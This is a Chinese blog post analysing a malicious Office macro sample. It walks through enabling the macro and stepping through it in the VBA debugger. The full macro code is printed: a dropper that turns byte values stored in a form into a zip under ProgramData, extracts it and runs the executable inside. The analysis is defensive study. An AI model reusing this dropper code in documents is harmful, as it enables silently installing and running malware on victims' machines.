宏病毒(1)

样本HASH:02BA9703D1F250B411EA4C868D17FD2E

先打开样本,发现是老版的宏警告。

然后点击启用宏,ALT+F11查看宏代码(打开之前可以按住shift,防止一切宏运行,但很多时候不好使),然后找到宏开始的地方,然后开始调试。

CTRL+F8运行到光标处,然后F8开始单步。

Sub userNaveLoadr()

    Dim path_Nave_file As String
    Dim file_Nave_name  As String
    Dim zip_Nave_file  As Variant
    Dim fldr_Nave_name  As Variant
    
    Dim byt() As Byte
    
    Dim ar1Nave() As String
    
    file_Nave_name = "hargardius"
    
    
    fldr_Nave_name = Environ$("ALLUSERSPROFILE") & "\Mldhrab\" 'C:\ProgramData\Mldhrab\
    
    If Dir(fldr_Nave_name, vbDirectory) = "" Then '判断有没有C:\ProgramData\Mldhrab\目录,没有就创建一个
        MkDir (fldr_Nave_name)
    End If
     
    
    zip_Nave_file = fldr_Nave_name & file_Nave_name & ".zip" '拼接为"C:\ProgramData\Mldhrab\hargardius.zip"
    
    path_Nave_file = fldr_Nave_name & file_Nave_name & ".exe" '拼接为"C:\ProgramData\Mldhrab\hargardius.exe"
    
     
    Dim arr
    
    arr = Split(Application.OperatingSystem, " ") '返回当前操作系统的名称和版本号,并使用空格分隔开。"Windows""(32-bit)""NT""6.01"
    
    If arr(3) = "6.02" Or arr(3) = "6.03" Then
        ar1Nave = Split(UserForm.weNaveBox.Text, "-")
    Else
        ar1Nave = Split(UserForm.wsNaveBox.Text, "-") '里面的值是窗体里的值
    End If
    
    Dim btsNave() As Byte
    
    Dim linNave As Double
    
    linNave = 0
    
    For Each vl In ar1Nave                  '把ar1Nave数组里面的值按字节读取到btsNave数组中
        ReDim Preserve btsNave(linNave)
    
        btsNave(linNave) = CByte(vl)
        
        linNave = linNave + 1
    Next

    
      
    Open zip_Nave_file For Binary Access Write As #2 '在C:\ProgramData\Mldhrab\目录生成hargardius.zip
         Put #2, , btsNave
    Close #2
   
    
     If Len(Dir(path_Nave_file)) = 0 Then '如果C:\ProgramData\Mldhrab\hargardius.exe长度为0,则解压C:\ProgramData\Mldhrab\hargardius.zip
        Call unNavezip(zip_Nave_file, fldr_Nave_name)
    End If


    Shell path_Nave_file, vbNormalNoFocus '执行exe文件
    
    
End Sub

  '解压函数
 Sub unNavezip(Fname As Variant, FileNameFolder As Variant)
    Dim FSO As Object
    
    Dim oApp As Object
   
    
    'Extract the files into the Destination folder
    Set oApp = CreateObject("Shell.Application")
    
    oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4

    
End Sub



这个宏代码比较简单,都没做混淆。现在来看Shell path_Nave_file, vbNormalNoFocus 做了什么,首先是shell函数。

我们有多种方法来查看shell执行了什么:

一、Msgbox,万能弹窗

写代码 :MsgBox  path_Nave_file

设断点

执行

二、Debug.print,立即数窗口输出

写代码 :Debug.Print  path_Nave_file

设断点

执行

三、添加监视

通过添加监视,可以发现vbNormalNoFocus为shell函数的参数,值为4

EXE有空在分析,后面补上.......

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值